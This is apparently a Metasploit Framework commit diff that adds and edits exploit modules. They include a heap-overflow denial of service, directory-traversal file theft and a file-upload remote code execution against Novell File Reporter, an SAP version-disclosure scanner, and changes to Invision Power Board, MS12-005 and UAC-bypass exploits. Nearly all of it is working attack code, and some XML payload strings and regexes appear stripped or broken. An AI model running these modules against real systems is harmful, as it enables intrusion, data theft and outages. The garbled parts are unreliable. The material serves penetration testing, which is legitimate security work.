diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb
new file mode 100644
index 0000000000..0359e7000b
--- /dev/null
+++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb
@@ -0,0 +1,234 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Dos
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'NFR Agent Heap Overflow Vulnerability',
+ 'Description' => %q{
+ This module exploits a heap overflow in NFRAgent.exe, a component of Novell
+ File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",
+ where NFRAgent.exe fails to generate a response in a secure way, copying user
+ controlled data into a fixed-length buffer in the heap without bounds checking.
+ This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).
+ },
+ 'Author' => [ 'juan vazquez' ],
+ 'License' => MSF_LICENSE,
+ 'References' => [
+ [ 'CVE', 'CVE-2012-4956' ],
+ [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
+ ],
+ 'DisclosureDate' => 'Nov 16 2012'))
+
+ register_options(
+ [
+ Opt::RPORT(3037),
+ OptBool.new('SSL', [true, 'Use SSL', true])
+ ], self.class)
+
+ end
+
+ def rport
+ datastore['RPORT']
+ end
+
+ def peer
+ "#{rhost}:#{rport}"
+ end
+
+ def run
+ record = ""
+ record << "SRS47" # Operation
+ record << "#{Rex::Text.rand_text_alpha(10)}" * 0xc35 # Volumes
+ record << ""
+
+ md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
+ message = md5 + record
+
+ print_status("#{peer} - Triggering a heap overflow to cause DoS...")
+
+ begin
+ res = send_request_cgi(
+ {
+ 'uri' => '/FSF/CMD',
+ 'version' => '1.1',
+ 'method' => 'POST',
+ 'ctype' => "text/xml",
+ 'data' => message,
+ })
+ rescue ::Errno::ECONNRESET
+ print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
+ return
+ end
+
+ if res
+ print_error("#{peer} - NFR Agent didn't die, it still answers...")
+ return
+ end
+
+ print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
+ end
+end
+
+=begin
+
+* Static analysis
+
+1) Handling of "SRS" records happens in handle_SRS_sub_4048D0:
+
+.text:00404BE9 add esp, 0Ch
+.text:00404BEC push 14h ; length_arg_C
+.text:00404BEE lea eax, [ebp+record_name_var_28]
+.text:00404BF1 push eax ; result_arg_8
+.text:00404BF2 push offset aName ; "NAME"
+.text:00404BF7 mov ecx, [ebp+message_arg_8]
+.text:00404BFA add ecx, 20h
+.text:00404BFD push ecx ; xml_message_arg_0
+.text:00404BFE mov ecx, [ebp+var_2C]
+.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
+.text:00404C06 movzx edx, al
+.text:00404C09 test edx, edx
+.text:00404C0B jz short loc_404C8B
+.text:00404C0D push offset aSrs_2 ; "SRS"
+.text:00404C12 lea eax, [ebp+record_name_var_28]
+.text:00404C15 push eax ; char *
+.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.
+.text:00404C1B add esp, 8
+.text:00404C1E test eax, eax
+.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
+.text:00404C22 mov ecx, [ebp+message_arg_8]
+.text:00404C25 push ecx ; void *
+.text:00404C26 mov edx, [ebp+arg_4]
+.text:00404C29 push edx ; int
+.text:00404C2A mov eax, [ebp+arg_0]
+.text:00404C2D push eax ; int
+.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"
+
+2) In this function memory is allocated to store the response which will be build:
+
+.text:00404903 push 0C350h ; size_t
+.text:00404908 call _malloc
+.text:0040490D add esp, 4
+.text:00404910 mov [ebp+response_var_8], eax
+
+0:007> g
+Breakpoint 0 hit
+eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
+eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
+cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
+NFRAgent+0x4908:
+00404908 e84cef0300 call NFRAgent+0x43859 (00443859)
+0:007> dd esp L1
+0120ff4c 0000c350
+0:007> p
+eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
+eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
+cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
+NFRAgent+0x490d:
+0040490d 83c404 add esp,4
+0:007> !heap -p -a eax
+ address 01220110 found in
+_HEAP @ 9e0000
+ HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
+ 01220108 186b 0000 [01] 01220110 0c350 - (busy)
+
+3) The SRS record used in this module is handled by:
+
+.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char
+*result_response_arg_4)
+
+4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:
+
+ for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD
+*)(vol_object_var_254 + 12) )
+ {
+ parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",
+&vol_name_var_20c, 0x1F4u); // get VOL element
+ volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume
+Free Space
+ volume_fscape_var_358 = v2;
+vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode
+the volume name (user controlled data)
+ if ( vol_name_html_encode_var_494 )
+{ // If the volume name has been HTML Encoded
+ v3 = volume_fscape_var_358;
+v4 = volume_fspace_vol_35C;
+v5 = vol_name_html_encode_var_494;
+v6 = strlen(result_response_arg_4);
+sprintf(&result_response_arg_4[v6], "%s%I64d",
+v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the
+fix-length buffer in the heap without bound checking
+ free(vol_name_html_encode_var_494);
+ vol_name_html_encode_var_494 = 0;
+ }
+else
+{ // If the volume name hasn’t been HTML Encoded
+ v7 = volume_fscape_var_358;
+v8 = volume_fspace_vol_35C;
+v9 = strlen(result_response_arg_4);
+sprintf(
+ &result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume
+name) to the end of the fix-length buffer in the heap without bound checking
+ "%s%I64d",
+&vol_name_var_20c,
+v8,
+v7);
+ }
+ }
+
+The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:
+
+Breakpoint 1 hit
+eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
+eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc
+cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
+NFRAgent+0x85c5:
+004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18)
+0:007> dd esp L1
+0120eec8 0122013e
+0:007> !heap -p -a 0122013e
+ address 0122013e found in
+_HEAP @ 9e0000
+ HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
+ 01220108 186b 0000 [01] 01220110 0c350 - (busy)
+0:007> da poi(esp+4)
+0047a040 "%s%I64"
+0047a060 "d"
+0:007> da poi(esp+8)
+01250208 "AAAAAAAAAA"
+
+After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are
+overwritten for the chunk just after the vulnerable one:
+
+0:007> g
+Breakpoint 0 hit
+eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
+eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc
+cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
+NFRAgent+0x8645:
+00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
+0:007> !heap -p -a 01220110
+ address 01220110 found in
+ _HEAP @ 9e0000
+ HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
+ 01220108 186b 0000 [01] 01220110 0c350 - (busy)
+0:007> !heap -p -a 01220110+0xc350
+ address 0122c460 found in
+_HEAP @ 9e0000
+ HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
+ 0122c460 3e45 0000 [46] 0122c468 1f220 - (free)
+0:007> db 0122c460 L8
+0122c460 45 3e 30 3c 2f 46 53 50 E>0 db 0122c468 L10
+0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE><
+=end
diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb
new file mode 100644
index 0000000000..1dccc41698
--- /dev/null
+++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb
@@ -0,0 +1,86 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'NFR Agent FSFUI Record Arbitrary Remote File Access',
+ 'Description' => %q{
+ NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve
+ arbitrary text files via a directory traversal while handling requests to /FSF/CMD
+ with an FSFUI record with UICMD 126. This module has been tested successfully
+ against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File
+ Reporter 1.0.1).
+ },
+ 'References' =>
+ [
+ [ 'CVE', 'CVE-2012-4958' ],
+ [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
+ ],
+ 'Author' =>
+ [
+ 'juan vazquez'
+ ],
+ 'License' => MSF_LICENSE,
+ 'DisclosureDate' => "Nov 16 2012"
+ )
+
+ register_options(
+ [
+ Opt::RPORT(3037),
+ OptBool.new('SSL', [true, 'Use SSL', true]),
+ OptString.new('RFILE', [true, 'Remote File', 'boot.ini']),
+ OptInt.new('DEPTH', [true, 'Traversal depth', 6])
+ ], self.class)
+
+ end
+
+ def rport
+ datastore['RPORT']
+ end
+
+ def peer
+ "#{rhost}:#{rport}"
+ end
+
+ def run_host(ip)
+
+ traversal = "..\\" * datastore['DEPTH']
+ record = "FSFUI126#{traversal}#{datastore['RFILE']}"
+ md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
+ message = md5 + record
+
+ print_status("#{peer} - Retrieving the file contents")
+
+ res = send_request_cgi(
+ {
+ 'uri' => '/FSF/CMD',
+ 'version' => '1.1',
+ 'method' => 'POST',
+ 'ctype' => "text/xml",
+ 'data' => message,
+ })
+
+ if res and res.code == 200 and res.body =~ /1<\/VERSION>0<\/STATUS><\!\[CDATA\[(.*)\]\]><\/CFILE><\/RESULT>/m
+ loot = $1
+ f = ::File.basename(datastore['RFILE'])
+ path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
+ print_status("#{peer} - #{datastore['RFILE']} saved in #{path}")
+ else
+ print_error("#{peer} - Failed to retrieve the file contents")
+ end
+ end
+
+end
+
diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb
new file mode 100644
index 0000000000..6e8af6ae06
--- /dev/null
+++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb
@@ -0,0 +1,86 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'NFR Agent SRS Record Arbitrary Remote File Access',
+ 'Description' => %q{
+ NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve
+ arbitrary files via a request to /FSF/CMD with a SRS Record with OPERATION 4 and
+ CMD 103, specifying a full pathname. This module has been tested successfully
+ against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File
+ Reporter 1.0.1).
+ },
+ 'References' =>
+ [
+ [ 'CVE', 'CVE-2012-4957' ],
+ [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
+ ],
+ 'Author' =>
+ [
+ 'juan vazquez'
+ ],
+ 'License' => MSF_LICENSE,
+ 'DisclosureDate' => "Nov 16 2012"
+ )
+
+ register_options(
+ [
+ Opt::RPORT(3037),
+ OptBool.new('SSL', [true, 'Use SSL', true]),
+ OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini'])
+ ], self.class)
+
+ register_autofilter_ports([ 3037 ])
+ deregister_options('RHOST')
+ end
+
+ def rport
+ datastore['RPORT']
+ end
+
+ def peer
+ "#{rhost}:#{rport}"
+ end
+
+ def run_host(ip)
+
+ record = "SRS4103#{datastore['RFILE']}"
+ md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
+ message = md5 + record
+
+ print_status("#{peer} - Retrieving the file contents")
+
+ res = send_request_cgi(
+ {
+ 'uri' => '/FSF/CMD',
+ 'version' => '1.1',
+ 'method' => 'POST',
+ 'ctype' => "text/xml",
+ 'data' => message,
+ })
+
+ if res and res.code == 200 and not res.body =~ //
+ loot = res.body
+ f = ::File.basename(datastore['RFILE'])
+ path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
+ print_status("#{peer} - #{datastore['RFILE']} saved in #{path}")
+ else
+ print_error("#{peer} - Failed to retrieve the file contents")
+ end
+ end
+
+end
+
diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb
new file mode 100755
index 0000000000..da5e849fdc
--- /dev/null
+++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb
@@ -0,0 +1,166 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy. I'd also like to thank Chris John Riley,
+# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
+# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
+##
+
+require "msf/core"
+
+class Metasploit4 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure',
+ 'Description' => %q{
+ This module attempts to identify software, OS and DB versions through the SAP
+ function TH_SAPREL using the /sap/bc/soap/rfc SOAP service.
+ },
+ 'References' =>
+ [
+ [ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
+ ],
+ 'Author' =>
+ [
+ 'Agnivesh Sathasivam',
+ 'nmonkee'
+ ],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(8000),
+ OptString.new('CLIENT', [true, 'Client', nil]),
+ OptString.new('USERNAME', [true, 'Username', nil]),
+ OptString.new('PASSWORD', [true, 'Password', nil])
+ ], self.class)
+ end
+
+ def run_host(ip)
+
+ data = ''
+ data << ''
+ data << ''
+ data << ''
+ data << ''
+ data << ''
+ data << ''
+
+ user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
+
+ print_status("[SAP] #{ip}:#{rport} - sending SOAP TH_SAPREL request")
+
+ begin
+ res = send_request_raw({
+ 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
+ 'method' => 'POST',
+ 'data' => data,
+ 'headers' =>{
+ 'Content-Length' => data.size.to_s,
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
+ 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
+ 'Authorization' => 'Basic ' + user_pass,
+ 'Content-Type' => 'text/xml; charset=UTF-8'
+ }
+ }, 45)
+ if res and res.code == 200
+ kern_comp_on = $1 if res.body =~ /(.*)<\/KERN_COMP_ON>/i
+ kern_comp_time = $1 if res.body =~ /(.*)<\/KERN_COMP_TIME>/i
+ kern_dblib = $1 if res.body =~ /(.*)<\/KERN_DBLIB>/i
+ kern_patchlevel = $1 if res.body =~ /(.*)<\/KERN_PATCHLEVEL>/i
+ kern_rel = $1 if res.body =~ /(.*)<\/KERN_REL>/i
+ saptbl = Msf::Ui::Console::Table.new(
+ Msf::Ui::Console::Table::Style::Default,
+ 'Header' => "[SAP] System Info",
+ 'Prefix' => "\n",
+ 'Postfix' => "\n",
+ 'Indent' => 1,
+ 'Columns' =>
+ [
+ "Info",
+ "Value"
+ ])
+ saptbl << [ "OS Kernel version", kern_comp_on ]
+ saptbl << [ "SAP compile time", kern_comp_time ]
+ saptbl << [ "DB version", kern_dblib ]
+ saptbl << [ "SAP patch level", kern_patchlevel ]
+ saptbl << [ "SAP Version", kern_rel ]
+ print(saptbl.to_s)
+
+ report_note(
+ :host => ip,
+ :proto => 'tcp',
+ :port => rport,
+ :sname => 'sap',
+ :type => 'os.kernel.version',
+ :data => "OS Kernel version: #{kern_comp_on}"
+ )
+
+ report_note(
+ :host => ip,
+ :proto => 'tcp',
+ :port => rport,
+ :sname => 'sap',
+ :type => 'sap.time.compile',
+ :data => "SAP compile time: #{kern_comp_time}"
+ )
+
+ report_note(
+ :host => ip,
+ :proto => 'tcp',
+ :port => rport,
+ :sname => 'sap',
+ :type => 'sap.db.version',
+ :data => "DB version: #{kern_dblib}"
+ )
+
+ report_note(
+ :host => ip,
+ :proto => 'tcp',
+ :port => rport,
+ :sname => 'sap',
+ :type => 'sap.version.patch_level',
+ :data => "SAP patch level: #{kern_patchlevel}"
+ )
+
+ report_note(
+ :host => ip,
+ :proto => 'tcp',
+ :port => rport,
+ :type => 'sap.version',
+ :data => "SAP Version: #{kern_rel}"
+ )
+
+ elsif res and res.code == 500
+ response = res.body
+ error.push(response.scan(%r{(.*?)}))
+ err = error.join().chomp
+ print_error("[SAP] #{ip}:#{rport} - #{err.gsub(''','\'')}")
+ return
+ else
+ print_error("[SAP] #{ip}:#{rport} - error message: " + res.code.to_s + " " + res.message) if res
+ return
+ end
+ rescue ::Rex::ConnectionError
+ print_error("[SAP] #{ip}:#{rport} - Unable to connect")
+ return
+ end
+
+ end
+end
diff --git a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
index e19b14c840..59e992b013 100644
--- a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
+++ b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
@@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Author' =>
[
- 'EgiX', # Vulnerability discovery and PoC
+ 'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods
'juan vazquez', # Metasploit module
'sinn3r' # PhpEXE tekniq & check() method
],
@@ -69,28 +69,39 @@ class Metasploit3 < Msf::Exploit::Remote
return base
end
- def check
- res = send_request_raw({'uri'=>"#{base}index.php"})
- return Exploit::CheckCode::Unknown if not res
+ def cookie_prefix
+ print_status("#{@peer} - Checking for cookie prefix")
+ cookie_prefix = ""
+ res = send_request_cgi(
+ {
+ 'uri' => "#{base}index.php",
+ 'method' => 'GET'
+ })
- version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
- return Exploit::CheckCode::Safe if version.empty?
- version = version.map {|e| e.to_i}
-
- # We only want major version 3
- # This version checking is based on OSVDB's info
- return Exploit::CheckCode::Safe if version[0] != 3
-
- case version[1]
- when 1
- return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
- when 2
- return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
- when 3
- return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
+ if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
+ print_status("#{@peer} - Cookie prefix #{$1} found")
+ cookie_prefix = $1
end
+ return cookie_prefix
+ end
- return Exploit::CheckCode::Safe
+ def check
+ @peer = "#{rhost}:#{rport}"
+ check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
+ res = send_request_cgi(
+ {
+ 'uri' => "#{base}index.php",
+ 'method' => 'GET',
+ 'cookie' => "#{cookie_prefix}session_id=#{check_str}"
+ })
+
+ if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
+ return Exploit::CheckCode::Vulnerable
+ elsif res and res.code == 200
+ return Exploit::CheckCode::Safe
+ else
+ return Exploit::CheckCode::Unknown
+ end
end
def on_new_session(client)
@@ -110,20 +121,6 @@ class Metasploit3 < Msf::Exploit::Remote
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
@peer = "#{rhost}:#{rport}"
- print_status("#{@peer} - Checking for cookie prefix")
- res = send_request_cgi(
- {
- 'uri' => "#{base}index.php",
- 'method' => 'GET'
- })
-
- if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
- print_status("#{@peer} - Cookie prefix #{$1} found")
- cookie_prefix = $1
- else
- cookie_prefix = ""
- end
-
# get_write_exec_payload uses a function, which limits our ability to support
# Linux payloads, because that requires a space:
# function my_cmd
diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb
index 4cbfa12ec1..9844aa15d1 100644
--- a/modules/exploits/windows/fileformat/ms12_005.rb
+++ b/modules/exploits/windows/fileformat/ms12_005.rb
@@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
- OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
+ OptEnum.new('INIT_PAYLOAD', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
OptString.new("BODY", [false, 'The message for the document body', '']),
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
], self.class)
@@ -144,7 +144,7 @@ class Metasploit3 < Msf::Exploit::Remote
when /oleObject1\.bin/
# Patch the OLE object file with our payload
print_status("Patching OLE object")
- ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb
+ ptype = datastore['INIT_PAYLOAD'] == 'PYTHON' ? :py : :rb
p = get_download_exec_payload(ptype, @ip, @port)
buf = buf.gsub(/MYPAYLOAD/, p)
diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb
index a0d30aac47..8eab936ebf 100644
--- a/modules/exploits/windows/local/bypassuac.rb
+++ b/modules/exploits/windows/local/bypassuac.rb
@@ -50,6 +50,11 @@ class Metasploit3 < Msf::Exploit::Local
def exploit
+ isadmin = session.railgun.shell32.IsUserAnAdmin()
+ if isadmin['return']
+ print_error('Already in elevated state. Exiting...')
+ return
+ end
#
# Verify use against Vista+
@@ -95,6 +100,31 @@ class Metasploit3 < Msf::Exploit::Local
return
end
+ # Check if you are an admin
+ print_status('Checking admin status...')
+ whoami = session.sys.process.execute('cmd /c whoami /groups',
+ nil,
+ {'Hidden' => true, 'Channelized' => true}
+ )
+ cmdout = []
+ isinadmins = []
+ while(cmdoutput = whoami.channel.read)
+ cmdout << cmdoutput
+ end
+ if cmdout.size == 0
+ print_error('Either whoami is not there or failed to execute')
+ print_error('Continuing under assumption you already checked...')
+ else
+ isinadmins = cmdout[0].split("\r\n").grep(/S-1-5-32-544/)
+ if isinadmins.size > 0
+ print_good('Part of Administrators group! Continuing...')
+ else
+ print_error('Not in admins group, cannot escalate with this module')
+ print_error('Exiting...')
+ return
+ end
+ end
+
#
# Generate payload and random names for upload
#
diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb
new file mode 100644
index 0000000000..a7baf9b8cb
--- /dev/null
+++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb
@@ -0,0 +1,149 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = GreatRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::EXE
+ include Msf::Exploit::WbemExec
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'NFR Agent FSFUI Record File Upload RCE',
+ 'Description' => %q{
+ NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
+ arbitrary files via a directory traversal while handling requests to /FSF/CMD with
+ FSFUI records with UICMD 130. This module has been tested successfully against NFR
+ Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'juan vazquez'
+ ],
+ 'References' =>
+ [
+ [ 'CVE', 'CVE-2012-4959'],
+ [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
+ ],
+ 'Payload' =>
+ {
+ 'Space' => 2048,
+ 'StackAdjustment' => -3500
+ },
+ 'DefaultOptions' =>
+ {
+ 'WfsDelay' => 20
+ },
+ 'Platform' => 'win',
+ 'Targets' =>
+ [
+ #Windows before Vista
+ [ 'Automatic', { } ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Nov 16 2012'))
+
+ register_options(
+ [
+ Opt::RPORT(3037),
+ OptBool.new('SSL', [true, 'Use SSL', true]),
+ OptInt.new('DEPTH', [true, 'Traversal depth', 6])
+ ], self.class)
+
+ end
+
+ def on_new_session(client)
+
+ return if not @var_mof_name
+ return if not @var_vbs_name
+
+ if client.type != "meterpreter"
+ print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.")
+ print_error("The following files must be removed manually:")
+ print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs")
+ print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)")
+ return # That's it
+ end
+
+ # stdapi must be loaded before we can use fs.file
+ client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
+
+ begin
+ print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
+ windir = client.fs.file.expand_path("%WINDIR%")
+ client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
+ print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
+ cmd = "#{windir}\\system32\\attrib.exe -r " +
+ "#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
+ client.sys.process.execute(cmd, nil, {'Hidden' => true })
+ client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
+ rescue ::Exception => e
+ print_error("Exception: #{e.inspect}")
+ end
+
+ end
+
+ def peer
+ "#{rhost}:#{rport}"
+ end
+
+ def exploit
+
+ # In order to save binary data to the file system the payload is written to a .vbs
+ # file and execute it from there.
+ @var_mof_name = rand_text_alpha(rand(5)+5)
+ @var_vbs_name = rand_text_alpha(rand(5)+5)
+
+ print_status("Encoding payload into VBS...")
+ payload = generate_payload_exe
+ vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
+
+ print_status("Generating VBS file...")
+ mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
+
+ print_status("#{peer} - Uploading the VBS file")
+ worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content)
+ unless worked
+ fail_with(Failure::NotVulnerable, "Failed to upload the file")
+ end
+
+ print_status("#{peer} - Uploading the MOF file")
+ upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
+ end
+
+ def upload_file(filename, content)
+ traversal = "..\\" * datastore['DEPTH']
+ traversal << filename
+
+ record = "FSFUI130#{traversal}"
+ md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
+ message = md5 + record
+
+ res = send_request_cgi(
+ {
+ 'uri' => '/FSF/CMD',
+ 'version' => '1.1',
+ 'method' => 'POST',
+ 'ctype' => "text/xml",
+ 'data' => message,
+ })
+
+ if res and res.code == 200 and res.body.include? "10"
+ print_warning("#{peer} - File successfully uploaded: #{filename}")
+ else
+ print_error("#{peer} - Failed to upload the file")
+ return false
+ end
